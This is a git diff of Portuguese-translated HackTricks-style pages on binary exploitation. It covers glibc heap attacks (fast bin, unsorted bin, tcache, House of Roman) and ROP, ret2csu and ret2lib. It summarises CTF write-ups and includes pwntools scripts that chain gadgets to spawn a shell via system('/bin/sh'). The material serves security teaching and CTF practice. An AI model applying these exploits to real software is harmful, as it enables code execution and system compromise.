- **Fast bin attack**: Todos os ponteiros para as alocações são armazenados dentro de um array, então podemos liberar alguns chunks de fast bin e, no último, sobrescrever o endereço para apontar um pouco antes deste array de ponteiros. Então, aloque alguns chunks com o mesmo tamanho e obteremos primeiro o legítimo e depois o falso contendo o array de ponteiros. Agora podemos sobrescrever esses ponteiros de alocação para fazer o endereço GOT de `free` apontar para `system` e então escrever `"/bin/sh"` no chunk 1 para então chamar `free(chunk1)` que, em vez disso, executará `system("/bin/sh")`.
|
||||
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
|
||||
- Outro exemplo de abuso de um overflow de um byte para consolidar chunks no unsorted bin e obter um libc infoleak e então realizar um ataque de fast bin para sobrescrever malloc hook com um endereço de one gadget.
|
||||
- Outro exemplo de abuso de um overflow de um byte para consolidar chunks no unsorted bin e obter um infoleak de libc e então realizar um ataque de fast bin para sobrescrever malloc hook com um endereço de one gadget.
|
||||
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)
|
||||
- Após um infoleak abusando do unsorted bin com um UAF para vazar um endereço libc e um endereço PIE, o exploit deste CTF usou um ataque de fast bin para alocar um chunk em um lugar onde os ponteiros para chunks controlados estavam localizados, então foi possível sobrescrever certos ponteiros para escrever um one gadget no GOT.
|
||||
- Você pode encontrar um ataque Fast Bin abusado através de um ataque unsorted bin:
|
||||
- Após um infoleak abusando do unsorted bin com um UAF para vazar um endereço de libc e um endereço de PIE, o exploit deste CTF usou um ataque de fast bin para alocar um chunk em um lugar onde os ponteiros para chunks controlados estavam localizados, então foi possível sobrescrever certos ponteiros para escrever um one gadget no GOT.
|
||||
- Você pode encontrar um ataque de Fast Bin abusado através de um ataque de unsorted bin:
|
||||
- Note que é comum antes de realizar ataques de fast bin abusar das free-lists para vazar endereços libc/heap (quando necessário).
|
||||
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
|
||||
- Podemos apenas alocar chunks de tamanho maior que `0x100`.
|
||||
- Sobrescrever `global_max_fast` usando um ataque Unsorted Bin (funciona 1/16 vezes devido ao ASLR, porque precisamos modificar 12 bits, mas devemos modificar 16 bits).
|
||||
- Ataque Fast Bin para modificar um array global de chunks. Isso fornece uma primitiva de leitura/escrita arbitrária, que permite modificar o GOT e definir algumas funções para apontar para `system`.
|
||||
|
||||
{{#ref}}
|
||||
unsorted-bin-attack.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
- Sobrescrever `global_max_fast` usando um ataque de Unsorted Bin (funciona 1/16 vezes devido ao ASLR, porque precisamos modificar 12 bits, mas devemos modificar 16 bits).
|
||||
- Ataque de Fast Bin para modificar um array global de chunks. Isso fornece uma primitiva de leitura/escrita arbitrária, que permite modificar o GOT e definir algumas funções para apontar para `system`.
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# Heap Functions Security Checks
|
||||
# Verificações de Segurança das Funções de Heap
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -132,7 +132,7 @@ free.md
|
||||
- Mensagem de erro: `double free or corruption (!prev)`
|
||||
- Se o próximo chunk tiver um tamanho muito pequeno ou muito grande:
|
||||
- Mensagem de erro: `free(): invalid next size (normal)`
|
||||
- Se o chunk anterior não estiver em uso, tentará consolidar. Mas, se o `prev_size` diferir do tamanho indicado no chunk anterior:
|
||||
- Se o chunk anterior não estiver em uso, ele tentará consolidar. Mas, se o `prev_size` diferir do tamanho indicado no chunk anterior:
|
||||
- Mensagem de erro: `corrupted size vs. prev_size while consolidating`
|
||||
|
||||
## **`_int_free_create_chunk`**
|
||||
|
||||
@ -25,7 +25,7 @@ Esta foi uma técnica muito interessante que permitiu RCE sem leaks através de
|
||||
|
||||
Crie vários chunks:
|
||||
|
||||
- `fastbin_victim` (0x60, offset 0): chunk UAF que será editado para apontar para o valor da LibC.
|
||||
- `fastbin_victim` (0x60, offset 0): Chunk UAF que será editado para apontar para o valor da LibC.
|
||||
- `chunk2` (0x80, offset 0x70): Para um bom alinhamento
|
||||
- `main_arena_use` (0x80, offset 0x100)
|
||||
- `relative_offset_heap` (0x60, offset 0x190): offset relativo no chunk 'main_arena_use'
|
||||
@ -51,13 +51,13 @@ unsorted: leftover_main
|
||||
```
|
||||
- `fastbin_victim` tem um `fd` apontando para `relative_offset_heap`
|
||||
- `relative_offset_heap` é um offset de distância de `fake_libc_chunk`, que contém um ponteiro para `main_arena + 0x68`
|
||||
- Apenas mudando o último byte de `fastbin_victim.fd` é possível fazer com que `fastbin_victim` aponte para `main_arena + 0x68`
|
||||
- Apenas mudando o último byte de `fastbin_victim.fd` é possível fazer `fastbin_victim points` para `main_arena + 0x68`
|
||||
|
||||
Para as ações anteriores, o atacante precisa ser capaz de modificar o ponteiro fd de `fastbin_victim`.
|
||||
|
||||
Então, `main_arena + 0x68` não é tão interessante, então vamos modificá-lo para que o ponteiro aponte para **`__malloc_hook`**.
|
||||
|
||||
Note que `__memalign_hook` geralmente começa com `0x7f` e zeros antes dele, então é possível falsificá-lo como um valor no fast bin `0x70`. Como os últimos 4 bits do endereço são **aleatórios**, há `2^4=16` possibilidades para o valor acabar apontando onde estamos interessados. Assim, um ataque BF é realizado aqui para que o chunk termine como: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
|
||||
Note que `__memalign_hook` geralmente começa com `0x7f` e zeros antes dele, então é possível falsificá-lo como um valor no fast bin `0x70`. Como os últimos 4 bits do endereço são **aleatórios**, há `2^4=16` possibilidades para o valor acabar apontando onde estamos interessados. Então, um ataque BF é realizado aqui para que o chunk termine como: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
|
||||
|
||||
(Para mais informações sobre os outros bytes, verifique a explicação no [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ exemplo](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). Se o BF não funcionar, o programa simplesmente trava (então comece de novo até funcionar).
|
||||
|
||||
@ -89,9 +89,9 @@ free(unsorted_bin_ptr);
|
||||
Use um UAF neste chunk para apontar `unsorted_bin_ptr->bk` para o endereço de `__malloc_hook` (nós forçamos isso anteriormente).
|
||||
|
||||
> [!CAUTION]
|
||||
> Note que este ataque corrompe o bin não ordenado (portanto, pequeno e grande também). Então, só podemos **usar alocações do fast bin agora** (um programa mais complexo pode fazer outras alocações e travar), e para acionar isso devemos **alocar o mesmo tamanho ou o programa irá travar.**
|
||||
> Note que este ataque corrompe o bin não ordenado (portanto, pequeno e grande também). Então, só podemos **usar alocações do fast bin agora** (um programa mais complexo pode fazer outras alocações e travar), e para acionar isso devemos **alocar o mesmo tamanho ou o programa travará.**
|
||||
|
||||
Assim, para acionar a escrita de `main_arena + 0x68` em `__malloc_hook`, após definir `__malloc_hook` em `unsorted_bin_ptr->bk`, só precisamos fazer: **`malloc(0x80)`**
|
||||
Então, para acionar a escrita de `main_arena + 0x68` em `__malloc_hook`, após definir `__malloc_hook` em `unsorted_bin_ptr->bk`, só precisamos fazer: **`malloc(0x80)`**
|
||||
|
||||
### Passo 3: Definir \_\_malloc_hook para system
|
||||
|
||||
|
||||
@ -21,7 +21,7 @@ Nesse exemplo, você pode encontrar as seguintes condições:
|
||||
- Deve ser menor, então no bin deve ir primeiro
|
||||
- (Um chunk para evitar a fusão com o chunk superior é criado)
|
||||
- Em seguida, o primeiro chunk grande é liberado e um novo chunk maior que ele é alocado -> Chunk1 vai para o large bin
|
||||
- Então, o segundo chunk grande é liberado
|
||||
- Depois, o segundo chunk grande é liberado
|
||||
- Agora, a vulnerabilidade: O atacante pode modificar `chunk1->bk_nextsize` para `[target-0x20]`
|
||||
- Em seguida, um chunk maior que o chunk 2 é alocado, então chunk2 é inserido no large bin sobrescrevendo o endereço `chunk1->bk_nextsize->fd_nextsize` com o endereço de chunk2
|
||||
|
||||
|
||||
@ -28,9 +28,9 @@ Geralmente, é possível encontrar no início do heap um chunk contendo a **quan
|
||||
Abusaremos disso para **sobrescrever o ponteiro FD do próximo chunk** para apontar para **`malloc_hook`**, para que então seja possível alocar 2 ponteiros: primeiro o ponteiro legítimo que acabamos de modificar, e então a segunda alocação retornará um chunk em **`malloc_hook`** que pode ser abusado para escrever um **one gadget**.
|
||||
- CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html)
|
||||
- **Vazamento de informações da Libc**: Há um uso após a liberação e uma dupla liberação. Neste relato, o autor vazou um endereço da libc ao ler o endereço de um chunk colocado em um bin pequeno (como vazá-lo do bin não ordenado, mas do pequeno).
|
||||
- **Ataque Tcache**: Um Tcache é realizado via uma **dupla liberação**. O mesmo chunk é liberado duas vezes, então dentro do Tcache o chunk apontará para si mesmo. Em seguida, é alocado, seu ponteiro FD é modificado para apontar para o **free hook** e então é alocado novamente, de modo que o próximo chunk na lista estará no free hook. Então, isso também é alocado e é possível escrever o endereço de `system` aqui, para que quando um malloc contendo `"/bin/sh"` for liberado, consigamos uma shell.
|
||||
- **Ataque Tcache**: Um Tcache é realizado via uma **dupla liberação**. O mesmo chunk é liberado duas vezes, então dentro do Tcache o chunk apontará para si mesmo. Em seguida, é alocado, seu ponteiro FD é modificado para apontar para o **free hook** e então é alocado novamente, de modo que o próximo chunk na lista estará no free hook. Então, isso também é alocado e é possível escrever o endereço de `system` aqui, para que quando um malloc contendo `"/bin/sh"` seja liberado, consigamos uma shell.
|
||||
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html)
|
||||
- A principal vulnerabilidade aqui é a capacidade de `free` qualquer endereço no heap indicando seu deslocamento.
|
||||
- A principal vulnerabilidade aqui é a capacidade de `free` qualquer endereço no heap indicando seu offset.
|
||||
- **Ataque de índices Tcache**: É possível alocar e liberar um chunk de um tamanho que, quando armazenado dentro do chunk tcache (o chunk com as informações dos bins tcache), gerará um **endereço com o valor 0x100**. Isso ocorre porque o tcache armazena a quantidade de chunks em cada bin em bytes diferentes, portanto, um chunk em um índice específico gera o valor 0x100.
|
||||
- Então, esse valor parece que há um chunk de tamanho 0x100. Permitindo abusar disso ao `free` esse endereço. Isso **adicionará esse endereço ao índice de chunks de tamanho 0x100 no tcache**.
|
||||
- Então, **alocando** um chunk de tamanho **0x100**, o endereço anterior será retornado como um chunk, permitindo sobrescrever outros índices tcache.\
|
||||
|
||||
@ -32,7 +32,7 @@ Este é, na verdade, um conceito muito básico. Os chunks no unsorted bin terão
|
||||
Portanto, se você puder **colocar um chunk dentro de um unsorted bin e lê-lo** (use after free) ou **alocá-lo novamente sem sobrescrever pelo menos 1 dos ponteiros** para então **lê-lo**, você pode ter um **vazamento de informações do Glibc**.
|
||||
|
||||
Um [**ataque semelhante usado neste writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) foi abusar de uma estrutura de 4 chunks (A, B, C e D - D é apenas para evitar a consolidação com o chunk superior), então um overflow de byte nulo em B foi usado para fazer C indicar que B estava não utilizado. Além disso, em B, os dados `prev_size` foram modificados para que o tamanho, em vez de ser o tamanho de B, fosse A+B.\
|
||||
Então C foi desalocado e consolidado com A+B (mas B ainda estava em uso). Um novo chunk de tamanho A foi alocado e então os endereços vazados da libc foram escritos em B de onde foram vazados.
|
||||
Então C foi desalocado e consolidado com A+B (mas B ainda estava em uso). Um novo chunk de tamanho A foi alocado e, em seguida, os endereços vazados da libc foram escritos em B, de onde foram vazados.
|
||||
|
||||
## References & Other examples
|
||||
|
||||
@ -43,11 +43,11 @@ Então C foi desalocado e consolidado com A+B (mas B ainda estava em uso). Um no
|
||||
- Então, chunk1 é liberado e chunk0 é transbordado para que o ponteiro `bk` de chunk1 aponte para: `bk = magic - 0x10`
|
||||
- Em seguida, chunk3 é alocado com o mesmo tamanho que chunk1, o que acionará o ataque de unsorted bin e modificará o valor da variável global, tornando possível obter a flag.
|
||||
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
|
||||
- A função de mesclagem é vulnerável porque se ambos os índices passados forem o mesmo, ela irá realocar sobre ele e depois liberá-lo, mas retornando um ponteiro para essa região liberada que pode ser usada.
|
||||
- A função de mesclagem é vulnerável porque se ambos os índices passados forem o mesmo, ela irá realocar nele e depois liberá-lo, mas retornando um ponteiro para essa região liberada que pode ser usada.
|
||||
- Portanto, **2 chunks são criados**: **chunk0** que será mesclado consigo mesmo e chunk1 para evitar a consolidação com o chunk superior. Então, a **função de mesclagem é chamada com chunk0** duas vezes, o que causará um uso após a liberação.
|
||||
- Em seguida, a função **`view`** é chamada com o índice 2 (que é o índice do chunk usado após a liberação), o que **vazará um endereço da libc**.
|
||||
- Em seguida, a função **`view`** é chamada com o índice 2 (que é o índice do chunk usado após a liberação), o que irá **vazar um endereço da libc**.
|
||||
- Como o binário tem proteções para alocar apenas tamanhos maiores que **`global_max_fast`**, então nenhum fastbin é usado, um ataque de unsorted bin será usado para sobrescrever a variável global `global_max_fast`.
|
||||
- Em seguida, é possível chamar a função de edição com o índice 2 (o ponteiro usado após a liberação) e sobrescrever o ponteiro `bk` para apontar para `p64(global_max_fast-0x10)`. Então, criar um novo chunk usará o endereço livre anteriormente comprometido (0x20) que **acionará o ataque de unsorted bin**, sobrescrevendo o `global_max_fast` com um valor muito grande, permitindo agora criar chunks em fast bins.
|
||||
- Em seguida, é possível chamar a função de edição com o índice 2 (o ponteiro usado após a liberação) e sobrescrever o ponteiro `bk` para apontar para `p64(global_max_fast-0x10)`. Então, criando um novo chunk, o endereço livre anteriormente comprometido (0x20) irá **acionar o ataque de unsorted bin** sobrescrevendo o `global_max_fast` com um valor muito grande, permitindo agora criar chunks em fast bins.
|
||||
- Agora um **ataque de fast bin** é realizado:
|
||||
- Primeiro de tudo, descobre-se que é possível trabalhar com fast **chunks de tamanho 200** na localização de **`__free_hook`**:
|
||||
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||||
@ -61,7 +61,7 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
- Se conseguirmos obter um chunk rápido de tamanho 0x200 nesta localização, será possível sobrescrever um ponteiro de função que será executado.
|
||||
- Para isso, um novo chunk de tamanho `0xfc` é criado e a função mesclada é chamada com esse ponteiro duas vezes, assim obtemos um ponteiro para um chunk liberado de tamanho `0xfc*2 = 0x1f8` no fast bin.
|
||||
- Em seguida, a função de edição é chamada neste chunk para modificar o endereço **`fd`** deste fast bin para apontar para a função anterior **`__free_hook`**.
|
||||
- Então, um chunk com tamanho `0x1f8` é criado para recuperar do fast bin o chunk inútil anterior, então outro chunk de tamanho `0x1f8` é criado para obter um chunk de fast bin na **`__free_hook`** que é sobrescrito com o endereço da função **`system`**.
|
||||
- Então, um chunk com tamanho `0x1f8` é criado para recuperar do fast bin o chunk anterior inútil, então outro chunk de tamanho `0x1f8` é criado para obter um chunk de fast bin na **`__free_hook`** que é sobrescrito com o endereço da função **`system`**.
|
||||
- E finalmente, um chunk contendo a string `/bin/sh\x00` é liberado chamando a função de delete, acionando a função **`__free_hook`** que aponta para system com `/bin/sh\x00` como parâmetro.
|
||||
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
|
||||
- Outro exemplo de abuso de um overflow de 1B para consolidar chunks no unsorted bin e obter um vazamento de informações da libc e, em seguida, realizar um ataque de fast bin para sobrescrever o malloc hook com um endereço de one gadget.
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Como o nome implica, essa vulnerabilidade ocorre quando um programa **armazena algum espaço** no heap para um objeto, **escreve** algumas informações lá, **libera** aparentemente porque não é mais necessário e então **acessa novamente**.
|
||||
Como o nome sugere, essa vulnerabilidade ocorre quando um programa **armazena algum espaço** no heap para um objeto, **escreve** algumas informações lá, **libera** aparentemente porque não é mais necessário e então **acessa novamente**.
|
||||
|
||||
O problema aqui é que não é ilegal (não **haverá erros**) quando uma **memória liberada é acessada**. Assim, se o programa (ou o atacante) conseguir **alocar a memória liberada e armazenar dados arbitrários**, quando a memória liberada for acessada a partir do ponteiro inicial, **esses dados teriam sido sobrescritos**, causando uma **vulnerabilidade que dependerá da sensibilidade dos dados** que foram armazenados originalmente (se era um ponteiro de uma função que seria chamada, um atacante poderia saber controlá-la).
|
||||
|
||||
|
||||
@ -4,11 +4,11 @@
|
||||
|
||||
## **Informações Básicas**
|
||||
|
||||
**Programação Orientada a Retorno (ROP)** é uma técnica avançada de exploração usada para contornar medidas de segurança como **No-Execute (NX)** ou **Prevenção de Execução de Dados (DEP)**. Em vez de injetar e executar shellcode, um atacante aproveita pedaços de código já presentes no binário ou em bibliotecas carregadas, conhecidos como **"gadgets"**. Cada gadget normalmente termina com uma instrução `ret` e realiza uma pequena operação, como mover dados entre registradores ou realizar operações aritméticas. Ao encadear esses gadgets, um atacante pode construir um payload para realizar operações arbitrárias, efetivamente contornando as proteções NX/DEP.
|
||||
**Programação Orientada a Retorno (ROP)** é uma técnica avançada de exploração usada para contornar medidas de segurança como **No-Execute (NX)** ou **Data Execution Prevention (DEP)**. Em vez de injetar e executar shellcode, um atacante aproveita pedaços de código já presentes no binário ou em bibliotecas carregadas, conhecidos como **"gadgets"**. Cada gadget normalmente termina com uma instrução `ret` e realiza uma pequena operação, como mover dados entre registradores ou realizar operações aritméticas. Ao encadear esses gadgets, um atacante pode construir um payload para realizar operações arbitrárias, efetivamente contornando as proteções NX/DEP.
|
||||
|
||||
### Como o ROP Funciona
|
||||
|
||||
1. **Sequestro de Fluxo de Controle**: Primeiro, um atacante precisa sequestrar o fluxo de controle de um programa, tipicamente explorando um estouro de buffer para sobrescrever um endereço de retorno salvo na pilha.
|
||||
1. **Sequestro de Fluxo de Controle**: Primeiro, um atacante precisa sequestrar o fluxo de controle de um programa, tipicamente explorando um buffer overflow para sobrescrever um endereço de retorno salvo na pilha.
|
||||
2. **Encadeamento de Gadgets**: O atacante então seleciona e encadeia cuidadosamente gadgets para realizar as ações desejadas. Isso pode envolver configurar argumentos para uma chamada de função, chamar a função (por exemplo, `system("/bin/sh")`), e lidar com qualquer limpeza ou operações adicionais necessárias.
|
||||
3. **Execução do Payload**: Quando a função vulnerável retorna, em vez de retornar a um local legítimo, começa a executar a cadeia de gadgets.
|
||||
|
||||
@ -18,7 +18,7 @@ Normalmente, gadgets podem ser encontrados usando [**ROPgadget**](https://github
|
||||
|
||||
## Exemplo de Cadeia ROP em x86
|
||||
|
||||
### **Convenções de Chamada x86 (32 bits)**
|
||||
### **Convenções de Chamada x86 (32-bit)**
|
||||
|
||||
- **cdecl**: O chamador limpa a pilha. Os argumentos da função são empurrados para a pilha em ordem reversa (da direita para a esquerda). **Os argumentos são empurrados para a pilha da direita para a esquerda.**
|
||||
- **stdcall**: Semelhante ao cdecl, mas o chamado é responsável por limpar a pilha.
|
||||
@ -37,7 +37,7 @@ Primeiro, vamos supor que identificamos os gadgets necessários dentro do binár
|
||||
Usando **pwntools**, preparamos a pilha para a execução da cadeia ROP da seguinte forma, visando executar `system('/bin/sh')`, note como a cadeia começa com:
|
||||
|
||||
1. Uma instrução `ret` para fins de alinhamento (opcional)
|
||||
2. Endereço da função `system` (supondo ASLR desativado e libc conhecida, mais informações em [**Ret2lib**](ret2lib/index.html))
|
||||
2. Endereço da função `system` (supondo ASLR desativado e libc conhecido, mais informações em [**Ret2lib**](ret2lib/index.html))
|
||||
3. Placeholder para o endereço de retorno da `system()`
|
||||
4. Endereço da string `"/bin/sh"` (parâmetro para a função system)
|
||||
```python
|
||||
@ -73,9 +73,9 @@ payload = fit({offset: rop_chain})
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
## ROP Chain em x64 Exemplo
|
||||
## Cadeia ROP em x64 Exemplo
|
||||
|
||||
### **x64 (64-bit) Convenções de chamada**
|
||||
### **Convenções de chamada x64 (64 bits)**
|
||||
|
||||
- Usa a convenção de chamada **System V AMD64 ABI** em sistemas semelhantes ao Unix, onde os **seis primeiros argumentos inteiros ou ponteiros são passados nos registradores `RDI`, `RSI`, `RDX`, `RCX`, `R8` e `R9`**. Argumentos adicionais são passados na pilha. O valor de retorno é colocado em `RAX`.
|
||||
- A convenção de chamada **Windows x64** usa `RCX`, `RDX`, `R8` e `R9` para os quatro primeiros argumentos inteiros ou ponteiros, com argumentos adicionais passados na pilha. O valor de retorno é colocado em `RAX`.
|
||||
@ -85,14 +85,14 @@ p.interactive()
|
||||
|
||||
Para nosso propósito, vamos nos concentrar em gadgets que nos permitirão definir o registrador **RDI** (para passar a string **"/bin/sh"** como um argumento para **system()**) e então chamar a função **system()**. Vamos assumir que identificamos os seguintes gadgets:
|
||||
|
||||
- **pop rdi; ret**: Puxa o valor do topo da pilha para **RDI** e então retorna. Essencial para definir nosso argumento para **system()**.
|
||||
- **pop rdi; ret**: Retira o valor do topo da pilha para **RDI** e então retorna. Essencial para definir nosso argumento para **system()**.
|
||||
- **ret**: Um retorno simples, útil para alinhamento de pilha em alguns cenários.
|
||||
|
||||
E sabemos o endereço da função **system()**.
|
||||
|
||||
### **ROP Chain**
|
||||
### **Cadeia ROP**
|
||||
|
||||
Abaixo está um exemplo usando **pwntools** para configurar e executar uma ROP chain visando executar **system('/bin/sh')** em **x64**:
|
||||
Abaixo está um exemplo usando **pwntools** para configurar e executar uma cadeia ROP visando executar **system('/bin/sh')** em **x64**:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
||||
@ -81,12 +81,12 @@ brop-blind-return-oriented-programming.md
|
||||
|
||||
Imagine que você deseja fazer uma syscall ou chamar uma função como `write()`, mas precisa de valores específicos nos registradores `rdx` e `rsi` como parâmetros. Normalmente, você procuraria gadgets que definem esses registradores diretamente, mas não consegue encontrar nenhum.
|
||||
|
||||
É aqui que **ret2csu** entra em cena:
|
||||
É aqui que o **ret2csu** entra em cena:
|
||||
|
||||
1. **Configurar os Registradores**: Use o primeiro gadget mágico para retirar valores da pilha e colocá-los em rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) e r15.
|
||||
2. **Usar o Segundo Gadget**: Com esses registradores configurados, você usa o segundo gadget. Isso permite que você mova os valores escolhidos para `rdx` e `rsi` (de r14 e r13, respectivamente), preparando os parâmetros para uma chamada de função. Além disso, ao controlar `r15` e `rbx`, você pode fazer o programa chamar uma função localizada no endereço que você calcula e coloca em `[r15 + rbx*8]`.
|
||||
|
||||
Você tem um [**exemplo usando esta técnica e explicando aqui**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), e este é o exploit final que usou:
|
||||
Você tem um [**exemplo usando essa técnica e explicando aqui**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), e este é o exploit final que usou:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -165,8 +165,8 @@ payload += ret2win
|
||||
target.sendline(payload)
|
||||
target.interactive()
|
||||
```
|
||||
### Por Que Não Usar libc Diretamente?
|
||||
### Por Que Não Usar Apenas a libc Diretamente?
|
||||
|
||||
Geralmente, esses casos também são vulneráveis a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), mas às vezes você precisa controlar mais parâmetros do que os que podem ser facilmente controlados com os gadgets que você encontra diretamente no libc. Por exemplo, a função `write()` requer três parâmetros, e **encontrar gadgets para definir todos esses diretamente pode não ser possível**.
|
||||
Normalmente, esses casos também são vulneráveis a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), mas às vezes você precisa controlar mais parâmetros do que os que podem ser facilmente controlados com os gadgets que você encontra diretamente na libc. Por exemplo, a função `write()` requer três parâmetros, e **encontrar gadgets para definir todos esses diretamente pode não ser possível**.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
Como explicado na página sobre [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) e [**Relro**](../common-binary-protections-and-bypasses/relro.md), binários sem Full Relro resolverão símbolos (como endereços para bibliotecas externas) na primeira vez que forem usados. Essa resolução ocorre chamando a função **`_dl_runtime_resolve`**.
|
||||
|
||||
A função **`_dl_runtime_resolve`** pega do stack referências a algumas estruturas que precisa para **resolver** o símbolo especificado.
|
||||
A função **`_dl_runtime_resolve`** recebe da pilha referências a algumas estruturas que precisa para **resolver** o símbolo especificado.
|
||||
|
||||
Portanto, é possível **falsificar todas essas estruturas** para fazer a resolução dinâmica do símbolo solicitado (como a função **`system`**) e chamá-la com um parâmetro configurado (por exemplo, **`system('/bin/sh')`**).
|
||||
|
||||
@ -15,14 +15,13 @@ Geralmente, todas essas estruturas são falsificadas fazendo uma **cadeia ROP in
|
||||
> [!TIP]
|
||||
> Esta técnica é útil especialmente se não houver gadgets de syscall (para usar técnicas como [**ret2syscall**](rop-syscall-execv/index.html) ou [SROP](srop-sigreturn-oriented-programming/index.html)) e não houver maneiras de vazar endereços da libc.
|
||||
|
||||
Chek this video for a nice explanation about this technique in the second half of the video:
|
||||
|
||||
Veja este vídeo para uma boa explicação sobre esta técnica na segunda metade do vídeo:
|
||||
|
||||
{{#ref}}
|
||||
https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
{{#endref}}
|
||||
|
||||
Or check these pages for a step-by-step explanation:
|
||||
Ou confira estas páginas para uma explicação passo a passo:
|
||||
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
|
||||
|
||||
@ -39,7 +39,7 @@ find "/bin/sh"
|
||||
```
|
||||
### Usando /proc/\<PID>/maps
|
||||
|
||||
Se o processo está criando **filhos** toda vez que você interage com ele (servidor de rede), tente **ler** esse arquivo (provavelmente você precisará ser root).
|
||||
Se o processo está criando **filhos** toda vez que você fala com ele (servidor de rede), tente **ler** esse arquivo (provavelmente você precisará ser root).
|
||||
|
||||
Aqui você pode encontrar **exatamente onde a libc está carregada** dentro do processo e **onde será carregada** para cada filho do processo.
|
||||
|
||||
@ -73,7 +73,7 @@ Esses ataques de força bruta são **úteis apenas para sistemas de 32 bits**.
|
||||
```python
|
||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
```
|
||||
- Se você estiver atacando um servidor remoto, pode tentar **forçar o endereço da função `usleep` da `libc`**, passando como argumento 10 (por exemplo). Se em algum momento o **servidor levar 10s a mais para responder**, você encontrou o endereço dessa função.
|
||||
- Se você estiver atacando um servidor remoto, pode tentar **forçar a descoberta do endereço da função `usleep` da `libc`**, passando como argumento 10 (por exemplo). Se em algum momento o **servidor levar 10s a mais para responder**, você encontrou o endereço dessa função.
|
||||
|
||||
## One Gadget
|
||||
|
||||
@ -103,7 +103,7 @@ c.interactive()
|
||||
```
|
||||
## x64 Ret2lib Exemplo de Código
|
||||
|
||||
Verifique o exemplo de:
|
||||
Confira o exemplo de:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -116,7 +116,7 @@ No caso do ARM64, a instrução ret salta para onde o registrador x30 está apon
|
||||
|
||||
Além disso, no ARM64, uma instrução faz o que a instrução faz (não é possível saltar no meio das instruções e transformá-las em novas).
|
||||
|
||||
Verifique o exemplo de:
|
||||
Confira o exemplo de:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -143,7 +143,7 @@ Isso basicamente significa abusar de um **Ret2lib para transformá-lo em uma vul
|
||||
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
|
||||
- 64 bits, ASLR habilitado, mas sem PIE, o primeiro passo é preencher um overflow até o byte 0x00 do canário para então chamar puts e vazá-lo. Com o canário, um gadget ROP é criado para chamar puts para vazar o endereço de puts do GOT e um gadget ROP para chamar `system('/bin/sh')`
|
||||
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
|
||||
- 64 bits, ASLR habilitado, sem canário, overflow de pilha em main a partir de uma função filha. Gadget ROP para chamar puts para vazar o endereço de puts do GOT e então chamar um gadget.
|
||||
- 64 bits, ASLR habilitado, sem canário, overflow de pilha na main a partir de uma função filha. Gadget ROP para chamar puts para vazar o endereço de puts do GOT e depois chamar um gadget.
|
||||
- [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html)
|
||||
- 64 bits, sem pie, sem canário, sem relro, nx. Usa a função write para vazar o endereço de write (libc) e chama um gadget.
|
||||
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
|
||||
|
||||
